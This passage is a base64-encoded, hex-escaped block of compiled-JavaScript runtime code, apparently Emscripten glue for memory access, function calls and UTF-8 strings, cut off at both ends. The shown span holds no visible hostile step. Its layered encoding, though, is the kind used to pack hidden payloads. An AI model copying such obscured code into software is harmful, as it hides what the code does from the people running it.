ik7cmV0dXJuXHgyMHJldH0pLG1ha2VCaWdJbnQ6KGZ1bmN0aW9uKGxvdyxoaWdoLHVuc2lnbmVkKXt2YXJceDIwcmV0PXVuc2lnbmVkPysobG93Pj4+MCkrXHgyMCsoaGlnaD4+PjApKjQyOTQ5NjcyOTY6Kyhsb3c+Pj4wKStceDIwKyhoaWdofDApKjQyOTQ5NjcyOTY7cmV0dXJuXHgyMHJldH0pLEdMT0JBTF9CQVNFOjEwMjQsUVVBTlRVTV9TSVpFOjQsX19kdW1teV9fOjB9O01vZHVsZVtceDIyUnVudGltZVx4MjJdPVJ1bnRpbWU7dmFyXHgyMEFCT1JUPTA7dmFyXHgyMEVYSVRTVEFUVVM9MDtmdW5jdGlvblx4MjBhc3NlcnQoY29uZGl0aW9uLHRleHQpe2lmKCFjb25kaXRpb24pe2Fib3J0KFx4MjJBc3NlcnRpb25ceDIwZmFpbGVkOlx4MjBceDIyK3RleHQpfX1mdW5jdGlvblx4MjBnZXRDRnVuYyhpZGVudCl7dmFyXHgyMGZ1bmM9TW9kdWxlW1x4MjJfXHgyMitpZGVudF07aWYoIWZ1bmMpe3RyeXtmdW5jPWV2YWwoXHgyMl9ceDIyK2lkZW50KX1jYXRjaChlKXt9fWFzc2VydChmdW5jLFx4MjJDYW5ub3RceDIwY2FsbFx4MjB1bmtub3duXHgyMGZ1bmN0aW9uXHgyMFx4MjIraWRlbnQrXHgyMlx4MjAocGVyaGFwc1x4MjBMTFZNXHgyMG9wdGltaXphdGlvbnNceDIwb3JceDIwY2xvc3VyZVx4MjByZW1vdmVkXHgyMGl0PylceDIyKTtyZXR1cm5ceDIwZnVuY312YXJceDIwY3dyYXAsY2NhbGw7KChmdW5jdGlvbigpe3Zhclx4MjBKU2Z1bmNzPXtceDIyc3RhY2tTYXZlXHgyMjooZnVuY3Rpb24oKXtSdW50aW1lLnN0YWNrU2F2ZSgpfSksXHgyMnN0YWNrUmVzdG9yZVx4MjI6KGZ1bmN0aW9uKCl7UnVudGltZS5zdGFja1Jlc3RvcmUoKX0pLFx4MjJhcnJheVRvQ1x4MjI6KGZ1bmN0aW9uKGFycil7dmFyXHgyMHJldD1SdW50aW1lLnN0YWNrQWxsb2MoYXJyLmxlbmd0aCk7d3JpdGVBcnJheVRvTWVtb3J5KGFycixyZXQpO3JldHVyblx4MjByZXR9KSxceDIyc3RyaW5nVG9DXHgyMjooZnVuY3Rpb24oc3RyKXt2YXJceDIwcmV0PTA7aWYoc3RyIT09bnVsbCYmc3RyIT09dW5kZWZpbmVkJiZzdHIhPT0wKXt2YXJceDIwbGVuPShzdHIubGVuZ3RoPDwyKSsxO3JldD1SdW50aW1lLnN0YWNrQWxsb2MobGVuKTtzdHJpbmdUb1VURjgoc3RyLHJldCxsZW4pfXJldHVyblx4MjByZXR9KX07dmFyXHgyMHRvQz17XHgyMnN0cmluZ1x4MjI6SlNmdW5jc1tceDIyc3RyaW5nVG9DXHgyMl0sXHgyMmFycmF5XHgyMjpKU2Z1bmNzW1x4MjJhcnJheVRvQ1x4MjJdfTtjY2FsbD1mdW5jdGlvblx4MjBjY2FsbEZ1bmMoaWRlbnQscmV0dXJuVHlwZSxhcmdUeXBlcyxhcmdzLG9wdHMpe3Zhclx4MjBmdW5jPWdldENGdW5jKGlkZW50KTt2YXJceDIwY0FyZ3M9W107dmFyXHgyMHN0YWNrPTA7aWYoYXJncyl7Zm9yKHZhclx4MjBpPTA7aTxhcmdzLmxlbmd0aDtpKyspe3Zhclx4MjBjb252ZXJ0ZXI9dG9DW2FyZ1R5cGVzW2ldXTtpZihjb252ZXJ0ZXIpe2lmKHN0YWNrPT09MClzdGFjaz1SdW50aW1lLnN0YWNrU2F2ZSgpO2NBcmdzW2ldPWNvbnZlcnRlcihhcmdzW2ldKX1lbHNle2NBcmdzW2ldPWFyZ3NbaV19fX12YXJceDIwcmV0PWZ1bmMuYXBwbHkobnVsbCxjQXJncyk7aWYocmV0dXJuVHlwZT09PVx4MjJzdHJpbmdceDIyKXJldD1Qb2ludGVyX3N0cmluZ2lmeShyZXQpO2lmKHN0YWNrIT09MCl7aWYob3B0cyYmb3B0cy5hc3luYyl7RW10ZXJwcmV0ZXJBc3luYy5hc3luY0ZpbmFsaXplcnMucHVzaCgoZnVuY3Rpb24oKXtSdW50aW1lLnN0YWNrUmVzdG9yZShzdGFjayl9KSk7cmV0dXJufVJ1bnRpbWUuc3RhY2tSZXN0b3JlKHN0YWNrKX1yZXR1cm5ceDIwcmV0fTt2YXJceDIwc291cmNlUmVnZXg9L15mdW5jdGlvblx4NWNzKlthLXpBLVokXzAtOV0qXHg1Y3MqXHg1YygoW14pXSopXHg1YylceDVjcyp7XHg1Y3MqKFteKl0qPylbXHg1Y3M7XSooPzpyZXR1cm5ceDVjcyooLio/KVs7XHg1Y3NdKik/fSQvO2Z1bmN0aW9uXHgyMHBhcnNlSlNGdW5jKGpzZnVuYyl7dmFyXHgyMHBhcnNlZD1qc2Z1bmMudG9TdHJpbmcoKS5tYXRjaChzb3VyY2VSZWdleCkuc2xpY2UoMSk7cmV0dXJue2FyZ3VtZW50czpwYXJzZWRbMF0sYm9keTpwYXJzZWRbMV0scmV0dXJuVmFsdWU6cGFyc2VkWzJdfX12YXJceDIwSlNzb3VyY2U9bnVsbDtmdW5jdGlvblx4MjBlbnN1cmVKU3NvdXJjZSgpe2lmKCFKU3NvdXJjZSl7SlNzb3VyY2U9e307Zm9yKHZhclx4MjBmdW5ceDIwaW5ceDIwSlNmdW5jcyl7aWYoSlNmdW5jcy5oYXNPd25Qcm9wZXJ0eShmdW4pKXtKU3NvdXJjZVtmdW5dPXBhcnNlSlNGdW5jKEpTZnVuY3NbZnVuXSl9fX19Y3dyYXA9ZnVuY3Rpb25ceDIwY3dyYXAoaWRlbnQscmV0dXJuVHlwZSxhcmdUeXBlcyl7YXJnVHlwZXM9YXJnVHlwZXN8fFtdO3Zhclx4MjBjZnVuYz1nZXRDRnVuYyhpZGVudCk7dmFyXHgyMG51bWVyaWNBcmdzPWFyZ1R5cGVzLmV2ZXJ5KChmdW5jdGlvbih0eXBlKXtyZXR1cm5ceDIwdHlwZT09PVx4MjJudW1iZXJceDIyfSkpO3Zhclx4MjBudW1lcmljUmV0PXJldHVyblR5cGUhPT1ceDIyc3RyaW5nXHgyMjtpZihudW1lcmljUmV0JiZudW1lcmljQXJncyl7cmV0dXJuXHgyMGNmdW5jfXZhclx4MjBhcmdOYW1lcz1hcmdUeXBlcy5tYXAoKGZ1bmN0aW9uKHgsaSl7cmV0dXJuXHgyMiRceDIyK2l9KSk7dmFyXHgyMGZ1bmNzdHI9XHgyMihmdW5jdGlvbihceDIyK2FyZ05hbWVzLmpvaW4oXHgyMixceDIyKStceDIyKVx4MjB7XHgyMjt2YXJceDIwbmFyZ3M9YXJnVHlwZXMubGVuZ3RoO2lmKCFudW1lcmljQXJncyl7ZW5zdXJlSlNzb3VyY2UoKTtmdW5jc3RyKz1ceDIydmFyXHgyMHN0YWNrXHgyMD1ceDIwXHgyMitKU3NvdXJjZVtceDIyc3RhY2tTYXZlXHgyMl0uYm9keStceDIyO1x4MjI7Zm9yKHZhclx4MjBpPTA7aTxuYXJncztpKyspe3Zhclx4MjBhcmc9YXJnTmFtZXNbaV0sdHlwZT1hcmdUeXBlc1tpXTtpZih0eXBlPT09XHgyMm51bWJlclx4MjIpY29udGludWU7dmFyXHgyMGNvbnZlcnRDb2RlPUpTc291cmNlW3R5cGUrXHgyMlRvQ1x4MjJdO2Z1bmNzdHIrPVx4MjJ2YXJceDIwXHgyMitjb252ZXJ0Q29kZS5hcmd1bWVudHMrXHgyMlx4MjA9XHgyMFx4MjIrYXJnK1x4MjI7XHgyMjtmdW5jc3RyKz1jb252ZXJ0Q29kZS5ib2R5K1x4MjI7XHgyMjtmdW5jc3RyKz1hcmcrXHgyMj0oXHgyMitjb252ZXJ0Q29kZS5yZXR1cm5WYWx1ZStceDIyKTtceDIyfX12YXJceDIwY2Z1bmNuYW1lPXBhcnNlSlNGdW5jKChmdW5jdGlvbigpe3JldHVyblx4MjBjZnVuY30pKS5yZXR1cm5WYWx1ZTtmdW5jc3RyKz1ceDIydmFyXHgyMHJldFx4MjA9XHgyMFx4MjIrY2Z1bmNuYW1lK1x4MjIoXHgyMithcmdOYW1lcy5qb2luKFx4MjIsXHgyMikrXHgyMik7XHgyMjtpZighbnVtZXJpY1JldCl7dmFyXHgyMHN0cmdmeT1wYXJzZUpTRnVuYygoZnVuY3Rpb24oKXtyZXR1cm5ceDIwUG9pbnRlcl9zdHJpbmdpZnl9KSkucmV0dXJuVmFsdWU7ZnVuY3N0cis9XHgyMnJldFx4MjA9XHgyMFx4MjIrc3RyZ2Z5K1x4MjIocmV0KTtceDIyfWlmKCFudW1lcmljQXJncyl7ZW5zdXJlSlNzb3VyY2UoKTtmdW5jc3RyKz1KU3NvdXJjZVtceDIyc3RhY2tSZXN0b3JlXHgyMl0uYm9keS5yZXBsYWNlKFx4MjIoKVx4MjIsXHgyMihzdGFjaylceDIyKStceDIyO1x4MjJ9ZnVuY3N0cis9XHgyMnJldHVyblx4MjByZXR9KVx4MjI7cmV0dXJuXHgyMGV2YWwoZnVuY3N0cil9fSkpKCk7TW9kdWxlW1x4MjJjY2FsbFx4MjJdPWNjYWxsO01vZHVsZVtceDIyY3dyYXBceDIyXT1jd3JhcDtmdW5jdGlvblx4MjBzZXRWYWx1ZShwdHIsdmFsdWUsdHlwZSxub1NhZmUpe3R5cGU9dHlwZXx8XHgyMmk4XHgyMjtpZih0eXBlLmNoYXJBdCh0eXBlLmxlbmd0aC0xKT09PVx4MjIqXHgyMil0eXBlPVx4MjJpMzJceDIyO3N3aXRjaCh0eXBlKXtjYXNlXHgyMmkxXHgyMjpIRUFQOFtwdHI+PjBdPXZhbHVlO2JyZWFrO2Nhc2VceDIyaThceDIyOkhFQVA4W3B0cj4+MF09dmFsdWU7YnJlYWs7Y2FzZVx4MjJpMTZceDIyOkhFQVAxNltwdHI+PjFdPXZhbHVlO2JyZWFrO2Nhc2VceDIyaTMyXHgyMjpIRUFQMzJbcHRyPj4yXT12YWx1ZTticmVhaztjYXNlXHgyMmk2NFx4MjI6dGVtcEk2ND1bdmFsdWU+Pj4wLCh0ZW1wRG91YmxlPXZhbHVlLCtNYXRoX2Ficyh0ZW1wRG91YmxlKT49MT90ZW1wRG91YmxlPjA/KE1hdGhfbWluKCtNYXRoX2Zsb29yKHRlbXBEb3VibGUvNDI5NDk2NzI5NiksNDI5NDk2NzI5NSl8MCk+Pj4wOn5+K01hdGhfY2VpbCgodGVtcERvdWJsZS1ceDIwKyh+fnRlbXBEb3VibGU+Pj4wKSkvNDI5NDk2NzI5Nik+Pj4wOjApXSxIRUFQMzJbcHRyPj4yXT10ZW1wSTY0WzBdLEhFQVAzMltwdHIrND4+Ml09dGVtcEk2NFsxXTticmVhaztjYXNlXHgyMmZsb2F0XHgyMjpIRUFQRjMyW3B0cj4+Ml09dmFsdWU7YnJlYWs7Y2FzZVx4MjJkb3VibGVceDIyOkhFQVBGNjRbcHRyPj4zXT12YWx1ZTticmVhaztkZWZhdWx0OmFib3J0KFx4MjJpbnZhbGlkXHgyMHR5cGVceDIwZm9yXHgyMHNldFZhbHVlOlx4MjBceDIyK3R5cGUpfX1Nb2R1bGVbXHgyMnNldFZhbHVlXHgyMl09c2V0VmFsdWU7ZnVuY3Rpb25ceDIwZ2V0VmFsdWUocHRyLHR5cGUsbm9TYWZlKXt0eXBlPXR5cGV8fFx4MjJpOFx4MjI7aWYodHlwZS5jaGFyQXQodHlwZS5sZW5ndGgtMSk9PT1ceDIyKlx4MjIpdHlwZT1ceDIyaTMyXHgyMjtzd2l0Y2godHlwZSl7Y2FzZVx4MjJpMVx4MjI6cmV0dXJuXHgyMEhFQVA4W3B0cj4+MF07Y2FzZVx4MjJpOFx4MjI6cmV0dXJuXHgyMEhFQVA4W3B0cj4+MF07Y2FzZVx4MjJpMTZceDIyOnJldHVyblx4MjBIRUFQMTZbcHRyPj4xXTtjYXNlXHgyMmkzMlx4MjI6cmV0dXJuXHgyMEhFQVAzMltwdHI+PjJdO2Nhc2VceDIyaTY0XHgyMjpyZXR1cm5ceDIwSEVBUDMyW3B0cj4+Ml07Y2FzZVx4MjJmbG9hdFx4MjI6cmV0dXJuXHgyMEhFQVBGMzJbcHRyPj4yXTtjYXNlXHgyMmRvdWJsZVx4MjI6cmV0dXJuXHgyMEhFQVBGNjRbcHRyPj4zXTtkZWZhdWx0OmFib3J0KFx4MjJpbnZhbGlkXHgyMHR5cGVceDIwZm9yXHgyMHNldFZhbHVlOlx4MjBceDIyK3R5cGUpfXJldHVyblx4MjBudWxsfU1vZHVsZVtceDIyZ2V0VmFsdWVceDIyXT1nZXRWYWx1ZTt2YXJceDIwQUxMT0NfTk9STUFMPTA7dmFyXHgyMEFMTE9DX1NUQUNLPTE7dmFyXHgyMEFMTE9DX1NUQVRJQz0yO3Zhclx4MjBBTExPQ19EWU5BTUlDPTM7dmFyXHgyMEFMTE9DX05PTkU9NDtNb2R1bGVbXHgyMkFMTE9DX05PUk1BTFx4MjJdPUFMTE9DX05PUk1BTDtNb2R1bGVbXHgyMkFMTE9DX1NUQUNLXHgyMl09QUxMT0NfU1RBQ0s7TW9kdWxlW1x4MjJBTExPQ19TVEFUSUNceDIyXT1BTExPQ19TVEFUSUM7TW9kdWxlW1x4MjJBTExPQ19EWU5BTUlDXHgyMl09QUxMT0NfRFlOQU1JQztNb2R1bGVbXHgyMkFMTE9DX05PTkVceDIyXT1BTExPQ19OT05FO2Z1bmN0aW9uXHgyMGFsbG9jYXRlKHNsYWIsdHlwZXMsYWxsb2NhdG9yLHB0cil7dmFyXHgyMHplcm9pbml0LHNpemU7aWYodHlwZW9mXHgyMHNsYWI9PT1ceDIybnVtYmVyXHgyMil7emVyb2luaXQ9dHJ1ZTtzaXplPXNsYWJ9ZWxzZXt6ZXJvaW5pdD1mYWxzZTtzaXplPXNsYWIubGVuZ3RofXZhclx4MjBzaW5nbGVUeXBlPXR5cGVvZlx4MjB0eXBlcz09PVx4MjJzdHJpbmdceDIyP3R5cGVzOm51bGw7dmFyXHgyMHJldDtpZihhbGxvY2F0b3I9PUFMTE9DX05PTkUpe3JldD1wdHJ9ZWxzZXtyZXQ9W3R5cGVvZlx4MjBfbWFsbG9jPT09XHgyMmZ1bmN0aW9uXHgyMj9fbWFsbG9jOlJ1bnRpbWUuc3RhdGljQWxsb2MsUnVudGltZS5zdGFja0FsbG9jLFJ1bnRpbWUuc3RhdGljQWxsb2MsUnVudGltZS5keW5hbWljQWxsb2NdW2FsbG9jYXRvcj09PXVuZGVmaW5lZD9BTExPQ19TVEFUSUM6YWxsb2NhdG9yXShNYXRoLm1heChzaXplLHNpbmdsZVR5cGU/MTp0eXBlcy5sZW5ndGgpKX1pZih6ZXJvaW5pdCl7dmFyXHgyMHB0cj1yZXQsc3RvcDthc3NlcnQoKHJldCYzKT09MCk7c3RvcD1yZXQrKHNpemUmfjMpO2Zvcig7cHRyPHN0b3A7cHRyKz00KXtIRUFQMzJbcHRyPj4yXT0wfXN0b3A9cmV0K3NpemU7d2hpbGUocHRyPHN0b3Ape0hFQVA4W3B0cisrPj4wXT0wfXJldHVyblx4MjByZXR9aWYoc2luZ2xlVHlwZT09PVx4MjJpOFx4MjIpe2lmKHNsYWIuc3ViYXJyYXl8fHNsYWIuc2xpY2Upe0hFQVBVOC5zZXQoc2xhYixyZXQpfWVsc2V7SEVBUFU4LnNldChuZXdceDIwVWludDhBcnJheShzbGFiKSxyZXQpfXJldHVyblx4MjByZXR9dmFyXHgyMGk9MCx0eXBlLHR5cGVTaXplLHByZXZpb3VzVHlwZTt3aGlsZShpPHNpemUpe3Zhclx4MjBjdXJyPXNsYWJbaV07aWYodHlwZW9mXHgyMGN1cnI9PT1ceDIyZnVuY3Rpb25ceDIyKXtjdXJyPVJ1bnRpbWUuZ2V0RnVuY3Rpb25JbmRleChjdXJyKX10eXBlPXNpbmdsZVR5cGV8fHR5cGVzW2ldO2lmKHR5cGU9PT0wKXtpKys7Y29udGludWV9aWYodHlwZT09XHgyMmk2NFx4MjIpdHlwZT1ceDIyaTMyXHgyMjtzZXRWYWx1ZShyZXQraSxjdXJyLHR5cGUpO2lmKHByZXZpb3VzVHlwZSE9PXR5cGUpe3R5cGVTaXplPVJ1bnRpbWUuZ2V0TmF0aXZlVHlwZVNpemUodHlwZSk7cHJldmlvdXNUeXBlPXR5cGV9aSs9dHlwZVNpemV9cmV0dXJuXHgyMHJldH1Nb2R1bGVbXHgyMmFsbG9jYXRlXHgyMl09YWxsb2NhdGU7ZnVuY3Rpb25ceDIwZ2V0TWVtb3J5KHNpemUpe2lmKCFzdGF0aWNTZWFsZWQpcmV0dXJuXHgyMFJ1bnRpbWUuc3RhdGljQWxsb2Moc2l6ZSk7aWYoIXJ1bnRpbWVJbml0aWFsaXplZClyZXR1cm5ceDIwUnVudGltZS5keW5hbWljQWxsb2Moc2l6ZSk7cmV0dXJuXHgyMF9tYWxsb2Moc2l6ZSl9TW9kdWxlW1x4MjJnZXRNZW1vcnlceDIyXT1nZXRNZW1vcnk7ZnVuY3Rpb25ceDIwUG9pbnRlcl9zdHJpbmdpZnkocHRyLGxlbmd0aCl7aWYobGVuZ3RoPT09MHx8IXB0cilyZXR1cm5ceDIyXHgyMjt2YXJceDIwaGFzVXRmPTA7dmFyXHgyMHQ7dmFyXHgyMGk9MDt3aGlsZSgxKXt0PUhFQVBVOFtwdHIraT4+MF07aGFzVXRmfD10O2lmKHQ9PTAmJiFsZW5ndGgpYnJlYWs7aSsrO2lmKGxlbmd0aCYmaT09bGVuZ3RoKWJyZWFrfWlmKCFsZW5ndGgpbGVuZ3RoPWk7dmFyXHgyMHJldD1ceDIyXHgyMjtpZihoYXNVdGY8MTI4KXt2YXJceDIwTUFYX0NIVU5LPTEwMjQ7dmFyXHgyMGN1cnI7d2hpbGUobGVuZ3RoPjApe2N1cnI9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShTdHJpbmcsSEVBUFU4LnN1YmFycmF5KHB0cixwdHIrTWF0aC5taW4obGVuZ3RoLE1BWF9DSFVOSykpKTtyZXQ9cmV0P3JldCtjdXJyOmN1cnI7cHRyKz1NQVhfQ0hVTks7bGVuZ3RoLT1NQVhfQ0hVTkt9cmV0dXJuXHgyMHJldH1yZXR1cm5ceDIwTW9kdWxlW1x4MjJVVEY4VG9TdHJpbmdceDIyXShwdHIpfU1vZHVsZVtceDIyUG9pbnRlcl9zdHJpbmdpZnlceDIyXT1Qb2ludGVyX3N0cmluZ2lmeTtmdW5jdGlvblx4MjBBc2NpaVRvU3RyaW5nKHB0cil7dmFyXHgyMHN0cj1ceDIyXHgyMjt3aGlsZSgxKXt2YXJceDIwY2g9SEVBUDhbcHRyKys+PjBdO2lmKCFjaClyZXR1cm5ceDIwc3RyO3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZShjaCl9fU1vZHVsZVtceDIyQXNjaWlUb1N0cmluZ1x4MjJdPUFzY2lpVG9TdHJpbmc7ZnVuY3Rpb25ceDIwc3RyaW5nVG9Bc2NpaShzdHIsb3V0UHRyKXtyZXR1cm5ceDIwd3JpdGVBc2NpaVRvTWVtb3J5KHN0cixvdXRQdHIsZmFsc2UpfU1vZHVsZVtceDIyc3RyaW5nVG9Bc2NpaVx4MjJdPXN0cmluZ1RvQXNjaWk7dmFyXHgyMFVURjhEZWNvZGVyPXR5cGVvZlx4MjBUZXh0RGVjb2RlciE9PVx4MjJ1bmRlZmluZWRceDIyP25ld1x4MjBUZXh0RGVjb2RlcihceDIydXRmOFx4MjIpOnVuZGVmaW5lZDtmdW5jdGlvblx4MjBVVEY4QXJyYXlUb1N0cmluZyh1OEFycmF5LGlkeCl7dmFyXHgyMGVuZFB0cj1pZHg7d2hpbGUodThBcnJheVtlbmRQdHJdKSsrZW5kUHRyO2lmKGVuZFB0ci1pZHg+MTYmJnU4QXJyYXkuc3ViYXJyYXkmJlVURjhEZWNvZGVyKXtyZXR1cm5ceDIwVVRGOERlY29kZXIuZGVjb2RlKHU4QXJyYXkuc3ViYXJyYXkoaWR4LGVuZFB0cikpfWVsc2V7dmFyXHgyMHUwLHUxLHUyLHUzLHU0LHU1O3Zhclx4MjBzdHI9XHgyMlx4MjI7d2hpbGUoMSl7dTA9dThBcnJheVtpZHgrK107aWYoIXUwKXJldHVyblx4MjBzdHI7aWYoISh1MCYxMjgpKXtzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUodTApO2NvbnRpbnVlfXUxPXU4QXJyYXlbaWR4KytdJjYzO2lmKCh1MCYyMjQpPT0xOTIpe3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSgodTAmMzEpPDw2fHUxKTtjb250aW51ZX11Mj11OEFycmF5W2lkeCsrXSY2MztpZigodTAmMjQwKT09MjI0KXt1MD0odTAmMTUpPDwxMnx1MTw8Nnx1Mn1lbHNle3UzPXU4QXJyYXlbaWR4KytdJjYzO2lmKCh1MCYyNDgpPT0yNDApe3UwPSh1MCY3KTw8MTh8dTE8PDEyfHUyPDw2fHUzfWVsc2V7dTQ9dThBcnJheVtpZHgrK10mNjM7aWYoKHUwJjI1Mik9PTI0OCl7dTA9KHUwJjMpPDwyNHx1MTw8MTh8dTI8PDEyfHUzPDw2fHU0fWVsc2V7dTU9dThBcnJheVtpZHgrK10mNjM7dTA9KHUwJjEpPDwzMHx1MTw8MjR8dTI8PDE4fHUzPDwxMnx1NDw8Nnx1NX19fWlmKHUwPDY1NTM2KXtzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUodTApfWVsc2V7dmFyXHgyMGNoPXUwLTY1NTM2O3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSg1NTI5NnxjaD4+MTAsNTYzMjB8Y2gmMTAyMyl9fX19TW9kdWxlW1x4MjJVVEY4QXJyYXlUb1N0cmluZ1x4MjJdPVVURjhBcnJheVRvU3RyaW5nO2Z1bmN0aW9uXHgyMFVURjhUb1N0cmluZyhwdHIpe3JldHVyblx4MjBVVEY4QXJyYXlUb1N0cmluZyhIRUFQVTgscHRyKX1Nb2R1bGVbXHgyMlVURjhUb1N0cmluZ1x4MjJdPVVURjhUb1N0cmluZztmdW5jdGlvblx4MjBzdHJpbmdUb1VURjhBcnJheShzdHIsb3V0VThBcnJheSxvdXRJZHgsbWF4Qnl0ZXNUb1dyaXRlKXtpZighKG1heEJ5dGVzVG9Xcml0ZT4wKSlyZXR1cm5ceDIwMDt2YXJceDIwc3RhcnRJZHg9b3V0SWR4O3Zhclx4MjBlbmRJZHg9b3V0SWR4K21heEJ5dGVzVG9Xcml0ZS0xO2Zvcih2YXJceDIwaT0wO2k8c3RyLmxlbmd0aDsrK2kpe3Zhclx4MjB1PXN0ci5jaGFyQ29kZUF0KGkpO2lmKHU+PTU1Mjk2JiZ1PD01NzM0Myl1PTY1NTM2KygodSYxMDIzKTw8MTApfHN0ci5jaGFyQ29kZUF0KCsraSkmMTAyMztpZih1PD0xMjcpe2lmKG91dElkeD49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPXV9ZWxzZVx4MjBpZih1PD0yMDQ3KXtpZihvdXRJZHgrMT49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPTE5Mnx1Pj42O291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9NjU1MzUpe2lmKG91dElkeCsyPj1lbmRJZHgpYnJlYWs7b3V0VThBcnJheVtvdXRJZHgrK109MjI0fHU+PjEyO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj42JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9MjA5NzE1MSl7aWYob3V0SWR4KzM+PWVuZElkeClicmVhaztvdXRVOEFycmF5W291dElkeCsrXT0yNDB8dT4+MTg7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjEyJjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj42JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1JjYzfWVsc2VceDIwaWYodTw9NjcxMDg4NjMpe2lmKG91dElkeCs0Pj1lbmRJZHgpYnJlYWs7b3V0VThBcnJheVtvdXRJZHgrK109MjQ4fHU+PjI0O291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj4xOCY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+MTImNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjYmNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHUmNjN9ZWxzZXtpZihvdXRJZHgrNT49ZW5kSWR4KWJyZWFrO291dFU4QXJyYXlbb3V0SWR4KytdPTI1Mnx1Pj4zMDtvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+MjQmNjM7b3V0VThBcnJheVtvdXRJZHgrK109MTI4fHU+PjE4JjYzO291dFU4QXJyYXlbb3V0SWR4KytdPTEyOHx1Pj4xMiY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dT4+NiY2MztvdXRVOEFycmF5W291dElkeCsrXT0xMjh8dSY2M319b3V0VThBcnJheVtvdXRJZHhdPTA7cmV0dXJuXHgyMG91dElkeC1zdGFydElkeH1Nb2R1bGVbXHgyMnN0cmluZ1RvVVRGOEFycmF5XHgyMl09c3RyaW5nVG9VVEY4QXJyYXk7ZnVuY3Rpb25ceDIwc3RyaW5nVG9VVEY4KHN0cixvdXRQdHIsbWF4Qnl0ZXNUb1dyaXRlKXtyZXR1cm5ceDIwc3RyaW5nVG9VVEY4QXJyYXkoc3RyLEhFQVBVOCxvdXRQdHIsbWF4Qnl0ZXNUb1dyaXRlKX1Nb2R1bGVbXHgyMnN0cmluZ1RvVVRGOFx4MjJdPXN0cmluZ1RvVVRGODtmdW5jdGlvblx4MjBsZW5ndGhCeXRlc1VURjgoc3RyKXt2YXJceDIwbGVuPTA7Zm9yKHZhclx4MjBpPTA7aTxzdHIubGVuZ3RoOysraSl7dmFyXHgyMHU9c3RyLmNoYXJDb2RlQXQoaSk7aWYodT49NTUyOTYmJnU8PTU3MzQzKXU9NjU1MzYrKCh1JjEwMjMpPDwxMCl8c3RyLmNoYXJDb2RlQXQoKytpKSYxMDIzO2lmKHU8PTEyNyl7KytsZW59ZWxzZVx4MjBpZih1PD0yMDQ3KXtsZW4rPTJ9ZWxzZVx4MjBpZih1PD02NTUzNSl7bGVuKz0zfWVsc2VceDIwaWYodTw9MjA5NzE1MSl7bGVuKz00fWVsc2VceDIwaWYodTw9NjcxMDg4NjMpe2xlbis9NX1lbHNle2xlbis9Nn19cmV0dXJuXHgyMGxlbn1Nb2R1bGVbXHgyMmxlbmd0aEJ5dGVzVVRGOFx4MjJdPWxlbmd0aEJ5dGVzVVRGODt2YXJceDIwVVRGMTZEZWNvZGVyPXR5cGVvZlx4MjBUZXh0RGVjb2RlciE9PVx4MjJ1bmRlZmluZWRceDIyP25ld1x4MjBUZXh0RGVjb2RlcihceDIydXRmLTE2bGVceDIyKTp1bmRlZmluZWQ7ZnVuY3Rpb25ceDIwZGVtYW5nbGUoZnVuYyl7dmFyXHgyMF9fY3hhX2RlbWFuZ2xlX2Z1bmM9TW9kdWxlW1x4MjJfX19jeGFfZGVtYW5nbGVceDIyXXx8TW9kdWxlW1x4MjJfX2N4YV9kZW1hbmdsZVx4MjJdO2lmKF9fY3hhX2RlbWFuZ2xlX2Z1bmMpe3RyeXt2YXJceDIwcz1mdW5jLnN1YnN0cigxKTt2YXJceDIwbGVuPWxlbmd0aEJ5dGVzVVRGOChzKSsxO3Zhclx4MjBidWY9X21hbGxvYyhsZW4pO3N0cmluZ1RvVVRGOChzLGJ1ZixsZW4pO3Zhclx4MjBzdGF0dXM9X21hbGxvYyg0KTt2YXJceDIwcmV0PV9fY3hhX2RlbWFuZ2xlX2Z1bmMoYnVmLDAsMCxzdGF0dXMpO2lmKGdldFZhbHVlKHN0YXR1cyxceDIyaTMyXHgyMik9PT0wJiZyZXQpe3JldHVyblx4MjBQb2ludGVyX3N0cmluZ2lmeShyZXQpfX1jYXRjaChlKXt9ZmluYWxseXtpZihidWYpX2ZyZWUoYnVmKTtpZihzdGF0dXMpX2ZyZWUoc3RhdHVzKTtpZihyZXQpX2ZyZWUocmV0KX1yZXR1cm5ceDIwZnVuY31SdW50aW1lLndhcm5PbmNlKFx4MjJ3YXJuaW5nOlx4MjBidWlsZFx4MjB3aXRoXHgyMC1zXHgyMERFTUFOR0xFX1NVUFBPUlQ9MVx4MjB0b1x4MjBsaW5rXHgyMGluXHgyMGxpYmN4eGFiaVx4MjBkZW1hbmdsaW5nXHgyMik7cmV0dXJuXHgyMGZ1bmN9ZnVuY3Rpb25ceDIwZGVtYW5nbGVBbGwodGV4dCl7dmFyXHgyMHJlZ2V4PS9fX1pbXHg1Y3dceDVjZF9dKy9nO3JldHVyblx4MjB0ZXh0LnJlcGxhY2UocmVnZXgsKGZ1bmN0aW9uKHgpe3Zhclx4MjB5PWRlbWFuZ2xlKHgpO3JldHVyblx4MjB4PT09eT94OngrXHgyMlx4MjBbXHgyMit5K1x4MjJdXHgyMn0pKX1mdW5jdGlvblx4MjBqc1N0YWNrVHJhY2UoKXt2YXJceDIwZXJyPW5ld1x4MjBFcnJvcjtpZighZXJyLnN0YWNrKXt0cnl7dGhyb3dceDIwbmV3XHgyMEVycm9yKDApfWNhdGNoKGUpe2Vycj1lfWlmKCFlcnIuc3RhY2spe3JldHVyblx4MjIobm9ceDIwc3RhY2tceDIwdHJhY2